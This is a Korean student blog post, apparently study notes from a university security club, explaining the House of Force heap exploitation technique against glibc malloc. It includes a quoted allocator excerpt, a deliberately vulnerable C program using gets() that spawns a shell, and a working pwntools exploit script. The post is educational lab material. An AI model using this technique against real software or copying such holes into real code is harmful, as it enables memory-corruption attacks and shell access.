Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 풀이
- hackerrank
- 숙명여자대학교 정보보안동아리
- HTML
- The Loard of BOF
- BOJ
- c++
- 숙명여자대학교 정보보안 동아리
- 머신러닝
- 백준
- BOJ Python
- WarGame
- 웹페이지 만들기
- 자료구조 복습
- 기계학습
- SWEA
- Sookmyung Information Security Study
- siss
- lob
- CSS
- PHP 웹페이지 만들기
- Python
- 드림핵
- Javascript
- XSS Game
- 파이썬
- C언어
- hackctf
- 생활코딩
- c
Archives
- Today
- Total
혜랑's STORY
[Dreamhack] Heap Allocator Exploit : House of Force 본문
2021 SISS 21기 활동/2학시 시스템
[Dreamhack] Heap Allocator Exploit : House of Force
hyerang0125 2021. 10. 2. 15:05House of Force
House of Force 기법은 top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당 할 수 있는 공격 기법이다.
이 기법을 사용하기 위해서는 공격자가 top chunk의 size를 조작하고, 원하는 크기의 힙 청크를 할당 할 수 있어야 한다.
아래는 top chunk를 처리하는 _int_malloc 코드의 설명이다.
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
- top chunk의 주소를 가져와 크기를 가져온다.
- top chunk의 size가 할당 요청받은 크기인 nb보다 크거나 같은지 검사한 후, top chunk의 size가 크다면 힙 영역에 할당한다.
- 그러나 할당 요청받은 크기보다 작다면 sysmalloc을 통해 추가적으로 영역을 매핑해 할당한다.
Hose of Force 기법은 top chunk의 size를 2^64-1(64bit), 2^32-1(32bit)로 조작하여 임의의 주소 - top chunk 주소 -16 크기의 힙 청크를 할당하고 한번 더 힙 청크를 할당하면 임의의 주소에 할당할 수 있다.
// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
char *buf1;
char *trash;
char *exploit;
__uint64_t* top_chunk_size_addr;
__uint64_t exploit_size = 0;
__uint32_t target_addr = ⌖
buf1 = malloc(0x100);
top_chunk_size_addr = buf1 + 0x108;
fprintf(stderr,"target : %s\n", target);
fprintf(stderr,"buf1 : 0x%x\n", buf1);
fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
*top_chunk_size_addr = 0xffffffffffffffff;
exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
trash = malloc(exploit_size);
exploit = malloc(0x100);
fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
strcpy(exploit, "exploited!!!!!!");
fprintf(stderr,"target : %s\n", target);
return 0;
}
위 예제 코드의 익스플로잇 시나리오는 다음과 같다.
- 힙 청크를 할당하고 top chunk의 주소를 알아낸다.
- top chunk의 size를 (2**64)-1 값으로 조작한다.
- 할당 시 임의 주소 - 0x10 - top chunk 주소 - 0x8 를 전달한다.
- 이후 malloc 함수로 할당하면 임의의 영역에 힙 청크를 할당할 수 있다.
3번의 경우 할당을 원하는 주소가 0x8로 정렬되었을 때 0x8을 빼줌으로써 정확한 위치에 할당할 수 있다. 힙 청크는 메타데이터의 크기인 0x10 바이트로 정렬되기 때문에 할당을 원하는 주소의 하위 바이트가 0x48일 경우 0x40에 할당되게 하기 위함이다.
실행 결과이다.
// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
char* buf1;
char* buf2;
char* trash;
char malloc_size[21];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
buf1 = malloc(0x20);
write(1, &buf1, 8);
gets(buf1);
write(1, "input malloc_size : ", 19);
read(0, malloc_size, 21);
trash = malloc(strtoull(malloc_size, NULL, 10));
buf2 = malloc(0x100);
write(1, "write to target : ", 17);
read(0, buf2, 0x100);
if(overwrite_me == 0xdeadbeefcafebabe){
system("/bin/sh");
}
return 0;
}
force2.c는 힙 오버플로우가 발생하고, 원하는 크기의 힙 청크를 할당할 수 있는 예제이다. 익스플로잇 시나리오는 다음과 같다.
- 힙 주소를 릭하여 top chunk의 주소를 계산한다.
- 힙 오버플로우 top chunk의 size를 2^64-1로 조작한다.
- overwrite_me 전역 변수의 주소와 top chunk의 주소를 연산하여 할당할 크기를 전달한다.
- overwrite_me 전역 변수의 값을 0xdeadbeefcafebaba로 조작하여 셸을 획득한다.
# force2.py
from pwn import *
s = process('./force2')
raw_input()
overwrite_me = 0x601090
heap_addr = u64(s.recv(5).ljust(8, '\x00'))
print hex(heap_addr)
topchunk_addr = heap_addr+0x28
payload = '\x00'*0x28
payload += p64(0xffffffffffffffff)
s.sendline(payload)
target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
print target_size
s.sendline(str(target_size))
payload = p64(0xdeadbeefcafebabe)*2
s.sendline(payload)
s.interactive()
위 익스플로잇 시나리오를 바탕으로 코드를 작성하여 셸을 획득할 수 있었다.
'2021 SISS 21기 활동 > 2학시 시스템' 카테고리의 다른 글
[Dreamhack] Heap Allocator Exploit : Heap Feng Shui (0) | 2021.10.08 |
---|---|
[Dreamhack Wargame] house_of_force (0) | 2021.10.02 |
[HC 2021] welcome (0) | 2021.09.26 |
[Dreamhack] Heap Allocator Exploit : fastbin dup consolidate (0) | 2021.09.26 |
[Dreamhack] Heap Allocator Exploit : fastbin dup (0) | 2021.09.26 |